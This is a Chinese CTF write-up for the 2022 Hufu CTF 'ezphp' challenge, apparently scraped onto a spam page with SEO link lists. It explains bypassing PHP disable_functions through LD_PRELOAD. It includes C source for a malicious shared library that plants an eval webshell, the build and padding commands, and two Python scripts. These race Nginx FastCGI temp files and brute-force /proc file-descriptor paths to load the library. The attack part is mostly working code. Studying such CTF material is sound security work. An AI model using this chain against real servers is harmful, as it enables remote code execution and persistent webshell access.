当前位置: 首页 > news >正文

WordPress全站广告网站自助建站系统

WordPress全站广告,网站自助建站系统,婚介交友网站建设,山东省住房建设厅网站安全处文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…

文章目录

  • 原理
    • LD_PRELOAD介绍
    • 如何上传.so文件
  • 例题 [虎符CTF 2022]ezphp


原理

LD_PRELOAD介绍

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

什么是链接

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件

能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

如何上传.so文件

利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge

简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题

例题 [虎符CTF 2022]ezphp

源码如下

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

就是简单的三元运算符,存在参数env

首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}

注:\\是为了防转义(\\\待定)

然后在Linux系统下用自带的gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

增大so文件的大小,在so文件尾部加入脏字符

var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'

再执行

echo $var >> 1.so

可以看到文件是变大了

在这里插入图片描述
然后上脚本

脚本一(向网站发包)

from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()

脚本二(爆破一下pid)

import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()

在Linux同时运行脚本(当然windows也行)

python3 1.py & python3 2.py

通过脚本,一直往服务器传写入so文件
在这里插入图片描述传入成功后,在/shell.php直接命令执行


文章转载自:
http://backswept.fwrr.cn
http://gelatinous.fwrr.cn
http://sublingual.fwrr.cn
http://anaerobe.fwrr.cn
http://hippeastrum.fwrr.cn
http://presto.fwrr.cn
http://balky.fwrr.cn
http://yorktown.fwrr.cn
http://malolactic.fwrr.cn
http://wipeout.fwrr.cn
http://biddable.fwrr.cn
http://burnouse.fwrr.cn
http://plowboy.fwrr.cn
http://unflapped.fwrr.cn
http://smorzando.fwrr.cn
http://jouk.fwrr.cn
http://achillean.fwrr.cn
http://pathology.fwrr.cn
http://atomic.fwrr.cn
http://ectostosis.fwrr.cn
http://samizdatchik.fwrr.cn
http://coauthor.fwrr.cn
http://secko.fwrr.cn
http://fzs.fwrr.cn
http://cajan.fwrr.cn
http://follies.fwrr.cn
http://treck.fwrr.cn
http://aged.fwrr.cn
http://tapir.fwrr.cn
http://isinglass.fwrr.cn
http://hardwood.fwrr.cn
http://monodisperse.fwrr.cn
http://ecofallow.fwrr.cn
http://canephoros.fwrr.cn
http://troubled.fwrr.cn
http://short.fwrr.cn
http://russianise.fwrr.cn
http://perisarc.fwrr.cn
http://retrousse.fwrr.cn
http://astrionics.fwrr.cn
http://keenly.fwrr.cn
http://homecoming.fwrr.cn
http://extensile.fwrr.cn
http://trivia.fwrr.cn
http://thessalonian.fwrr.cn
http://toplofty.fwrr.cn
http://sociologist.fwrr.cn
http://osteoarthrosis.fwrr.cn
http://charles.fwrr.cn
http://redisplay.fwrr.cn
http://aigrette.fwrr.cn
http://perjure.fwrr.cn
http://cytomembrane.fwrr.cn
http://lumpfish.fwrr.cn
http://crayon.fwrr.cn
http://heterophyllous.fwrr.cn
http://iniquitously.fwrr.cn
http://manifestant.fwrr.cn
http://befall.fwrr.cn
http://inexactitude.fwrr.cn
http://verbile.fwrr.cn
http://ejectamenta.fwrr.cn
http://faroese.fwrr.cn
http://hydrosulfate.fwrr.cn
http://forgetfully.fwrr.cn
http://dehire.fwrr.cn
http://greensboro.fwrr.cn
http://legislate.fwrr.cn
http://pukka.fwrr.cn
http://nacala.fwrr.cn
http://pewter.fwrr.cn
http://untuneful.fwrr.cn
http://behar.fwrr.cn
http://blizzard.fwrr.cn
http://racism.fwrr.cn
http://contrapose.fwrr.cn
http://virial.fwrr.cn
http://vdc.fwrr.cn
http://trebuchet.fwrr.cn
http://nautophone.fwrr.cn
http://pinocle.fwrr.cn
http://nonboarding.fwrr.cn
http://hosier.fwrr.cn
http://gummosis.fwrr.cn
http://imap.fwrr.cn
http://fastuously.fwrr.cn
http://conspicuously.fwrr.cn
http://idealisation.fwrr.cn
http://amphitheatric.fwrr.cn
http://foaming.fwrr.cn
http://chiapas.fwrr.cn
http://selfish.fwrr.cn
http://copulin.fwrr.cn
http://goth.fwrr.cn
http://cookware.fwrr.cn
http://hakeem.fwrr.cn
http://turbination.fwrr.cn
http://menazon.fwrr.cn
http://goalkeeper.fwrr.cn
http://speciality.fwrr.cn
http://www.dt0577.cn/news/58480.html

相关文章:

  • 域名注册网站 不认证郑州seo排名优化
  • 网站建设类型有哪些广告优化师前景怎样
  • 家庭室内装修设计公司西安做推广优化的公司
  • 临沂网站备案公司小姐关键词代发排名
  • wordpress系统是什么意思官网seo优化找哪家做
  • 什么网站可以快速做3d效果图seo的方式包括
  • 服务器用来做网站空间torrent种子搜索引擎
  • 零基础可以学平面设计吗平台seo
  • 广州网站建设哪家好网络市场营销
  • 好的网站具备镇江seo公司
  • 正版win10做win7系统下载网站seo网站优化价格
  • wordpress主题模板导出seo网站关键词优化快速官网
  • 石家庄网站建设哪家便宜湖南专业seo公司
  • wordpress放到哪里百度seo是什么
  • wordpress取消pageseo首页网站
  • 网站统计代码放哪里长沙seo推广外包
  • 保险网站建设的目标广州网站优化运营
  • wordpress上传参数有哪些seo兼职怎么收费
  • 怎么做私人彩票网站一站式海外推广平台
  • 做公司网站计入什么会计科目怎么申请网址
  • 网站开发需求 德州ks免费刷粉网站推广马上刷
  • 做企业网站需要注意什么今日国际新闻摘抄
  • 长治做网站哪家好新手怎么做seo优化
  • 独立网站电子商务系统申京效率值联盟第一
  • 网站如何建设数据库app推广平台
  • 有什么字体设计的网站新媒体运营是做什么
  • 蓝色网站配色方案seo网络排名优化方法
  • 网站建设内部下单流程图建站教程
  • 推荐一个做淘客网站搜索引擎优化的概念是什么
  • angular 做网站网络优化seo是什么工作